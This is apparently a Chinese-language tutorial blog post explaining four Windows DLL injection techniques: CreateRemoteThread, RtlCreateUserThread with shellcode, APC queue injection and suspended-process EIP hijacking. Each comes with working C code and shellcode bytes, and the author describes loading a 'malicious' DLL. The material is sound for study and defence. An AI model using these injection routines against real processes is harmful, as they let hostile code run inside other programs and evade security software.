一篇文章带你了解Dll注入
前言
这是<一篇文章带你...>系列的第四篇,主要会阐明DLL注入的基本原理和几种主流方式,虽然这些方法已经有点滞后了。但是DLL注入的基本原理是不会改变的。自己做的笔记帮助自己理解。准备匆忙。大佬们轻拍。
DLL注入的主要原理就是强制进程自己将需要注入的dll文件注入到自身进程空间内,最好配合Hook技术。
Dll注入可以从三个方向入手:第一:在进程创建初期按照导入表加载dll的时候。第二:进程运行时期利用LoadLibrary函数加载,第三:利用某些系统机制:例如windows消息机制等。
进程创建后期
0x1 CreateRemoteThread
此方法是最常见的dll注入的方法,原理是由于CreateRemoteThread的函数原型和CreateThread是一致的。所以模仿CreateThread创建线程的方式实现注入。
由于创建的是远程线程,是需要将注入的参数(也就是Dll文件的路径)写入目标进程空间。所以基本步骤如下:
打开目标进程句柄
//打开目标进程
hProc = OpenProcess(PROCESS_ALL_ACCESS,
FALSE,
dwTargetPid
);
if (hProc == NULL)
{
printf("OpenProcess:%d\n", GetLastError());
return 0;
}
向目标进程中开辟空间并写入Dll文件路径
//向目标进程中写入句柄
LPTSTR psLibFileRemote = NULL;
psLibFileRemote = (LPTSTR)VirtualAllocEx(hProc,
NULL,
lstrlen(DllPath) + 1,
MEM_COMMIT,
PAGE_READWRITE);
if (psLibFileRemote == NULL)
{
printf("VirtualAllocEx:%d\n", GetLastError());
return FALSE;
}
BOOL bRet=WriteProcessMemory(hProc,
psLibFileRemote,
(LPCVOID)DllPath,
//(void *)DllPath
lstrlen(DllPath) + 1,
NULL);
获取LoadLibrary的地址
PTHREAD_START_ROUTINE pfnStartAddr = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle("Kernel32.dll"),
"LoadLibraryA");
if (pfnStartAddr == NULL)
{
printf("GetProcAddress %d\n",GetLastError());
return FALSE;
}
利用CreateRemoteThread函数调用LoadLibrary加载dll
//CreateThreadThread
HANDLE hThread = CreateRemoteThread(hProc,
NULL,
0,
pfnStartAddr,
psLibFileRemote,
0,
NULL);
0x2 RtlCreateUserThread
RtlCreateUserThread是CreateRemoteThread的底层实现,所以使用RtlCreateUserThread的原理是和使用CreateRemoteThread的原理是一样的。唯一的区别是使用CreateRemoteThread写入目标进程的是Dll的路径,而RtlCreateUserThread写入的是一段shellcode。
和CreateRemoteThread一样都是需要获取目标进程句柄,获取LoadLibrary地址,dll路径。
接着我们需要获取RtlCreateUserThread地址,RtlCreateUserThread函数原型如下:
typedef NTSTATUS(__stdcall *PCreateThread)(
HANDLE Process, //句柄
PSECURITY_DESCRIPTOR ThreadSecurityDescriptor, //线程安全描述符
BOOLEAN CreateSuspended, //创建挂起标志
ULONG ZeroBits,
SIZE_T MaximumStackSize,
SIZE_T CommittedStackSize,
PUSER_THREAD_START_ROUTINE StartAddress, //远程线程函数
PVOID Parameter OPTIONAL, //参数
PHANDLE Thread OPTIONAL,
PCLIENT_ID ClientId OPTIONAL
);
如何构造shellcode?
VOID ShellCodeFun(VOID)
{
_asm
{
call L001
L001:
pop ebx
sub ebx,5 //自定位
push dword ptr ds : [ebx]INJECT_DATA.lpParameter //lpParameter
call dword ptr ds : [ebx]INJECT_DATA.lpThreadStartRoutine //ThreadProc
xor ebx,ebx
push ebx
push -2
call dword ptr ds : [ebx]INJECT_DATA.AddrOfZwTerminateThread //ZwTerminateThread
nop
nop
nop
nop
nop
}
}
将shellcode写入进程内存中,然后调用RtlCreateUserThread执行shellcode。
//写入shellcode
int bRet = WriteProcessMemory(hProcess, pMem, &Data, sizeof(INJECT_DATA), &dwIoCnt);
if (bRet == 0)
{
printf(" WriteProcessMemory:%d\n", GetLastError());
return FALSE;
}
status = RtlCreateUserThread(hProcess, //进程句柄
lpThreadAttributes, //线程安全符
TRUE, //创建挂起标志
0, //ZeroBit
dwStackSize, //栈大小
0,
(PUSER_THREAD_START_ROUTINE)pMem, //StartAddress,包含了shellcode和数据(StartAddress)
NULL, //参数
&hThread, //远程线程句柄
&Cid //ClientID
);
0x3 APC注入
APC中文名称为异步过程调用, APC是一个链状的数据结构,可以让一个线程在其本应该的执行步骤前执行其他代码,每个线程都维护这一个APC链。当线程从等待状态苏醒后,会自动检测自己得APC队列中是否存在APC过程。
所以只需要将目标进程的线程的APC队列里面添加APC过程,当然为了提高命中率可以向进程的所有线程中添加APC过程。然后促使线程从休眠中恢复就可以实现APC注入。
首先依旧是将DLL文件路径写入进程。
lpData = VirtualAllocEx(hProcess, lpData, lstrlen(szDllFullPath) + 1, MEM_COMMIT, PAGE_READWRITE);
if (lpData)
{
bStatus = WriteProcessMemory(hProcess, lpData, szDllFullPath, lstrlen(szDllFullPath) + 1, &stSize);
if (FALSE == bStatus)
{
printf("WriteProcessMemory:%d\n", GetLastError());
return NULL;
}
}
然后使用QueueUserAPC将APC例程添加到APC队列中,QueueUserAPC三个参数分别是APC例程,线程句柄,例程参数。所以还需要获取线程句柄
dwRet=QueueUserAPC((PAPCFUNC)LoadLibraryA, hThread, (ULONG_PTR)lpData);
if (NULL == dwRet)
{
printf("QueueUserAPC:%d\n", GetLastError());
return NULL;
}
当然,为了提高命中率,可以使用遍历所有线程,然后利用te32.th32OwnerProcessID是否等于目标进程PID的策略进行进程全局注入。
if (Thread32First(hThreadSnap, &te32))
{
do
{
//线程所属的进程ID==目标进程ID
if (te32.th32OwnerProcessID == dwPid)
{
//获取当前线程句柄
HANDLE hThread = OpenThread(THREAD_ALL_ACCESS,FALSE,te32.th32ThreadID);
DWORD dwRet = NULL;
//插入APC队列
dwRet=QueueUserAPC((PAPCFUNC)LoadLibraryA, hThread, (ULONG_PTR)lpData);
if (NULL == dwRet)
{
printf("QueueUserAPC:%d\n", GetLastError());
return NULL;
}
CloseHandle(hThread);
}
} while (Thread32Next(hThreadSnap, &te32));
}
0x4 代码注入
使用傀儡进程:以挂起方式创建进程,然后向其中写入shellcode,利用shellcode执行LoadLibrary
首先以挂起方式创建进程,CreateProcess的第6个参数可以设定进程创建的方式
bRetProcess = CreateProcess("D:\\HostProc.exe",
NULL,
NULL,
NULL,
NULL,
CREATE_SUSPENDED, //挂起创建进程
NULL,
NULL,
&Startup,
&pi);
然后需要保存进程的上下文信息,主要是EIP的值。以便于Load完成后返回。
//获取CONTEXT
ctx.ContextFlags = CONTEXT_CONTROL;
GetThreadContext(pi.hThread, &ctx);
接着需要构建我们替换执行的代码。这段代码的目的是Load我们的恶意的dll文件,所以至少需要做两个方面的准备,第一:需要知道LoadLibrary的地址。第二需要知道Dll的路径。为了让程序更好的运行还需要保存现场。最后利用ret方式返回。
unsigned char sc[] = {
//push ret
0x68,retChar[0],retChar[1],retChar[2],retChar[3],
//push flags
0x9C,
//pushad
0x60,
//push DllPath
0x68, strChar[0], strChar[1],strChar[2],strChar[3],
//mov eax,AddressOfLoadLibrary
0xB8, apiChar[0],apiChar[1],apiChar[2],apiChar[3],
//call eax
0xFF,0xD0,
//popad
0x61,
//popfd
0x9D,
//ret
0xC3 };
构造完这些之后将shellcode写入,由于内存本身就有执行属性,所以不需要修改内存属性。
bRet=WriteProcessMemory(pi.hProcess,
Remote_ShellCodePtr,
ShellCode,
ShellCodeLength,
NULL
);
if (FALSE == bRet)
{
printf("WriteProcessMemory:%d\n", GetLastError());
return FALSE;
}
最后利用SetThreadContext将我们的EIP设置为shellcode起始地址。并调用ResumeThread重启线程
ctx.Eip =(DWORD) Remote_ShellCodePtr;
ctx.ContextFlags = CONTEXT_CONTROL;
SetThreadContext(pi.hThread, &ctx);
ResumeThread(pi.hThread);
为了提高命中率可以向目标进程的所有线程进行注入.利用CreateToolhelp32Snapshot等三个函数遍历线程。
if (Thread32First(hThreadSnap, &te32))
{
do
{
if (te32.th32OwnerProcessID == ProcessId)
{
bStatus = TRUE;
dwTidList[Index] = te32.th32ThreadID;
// printf("%d:%d:%d\n", Index, dwTidList[Index], te32.th32ThreadID);
Index++;
}
} while (Thread32Next(hThreadSnap, &te32));
}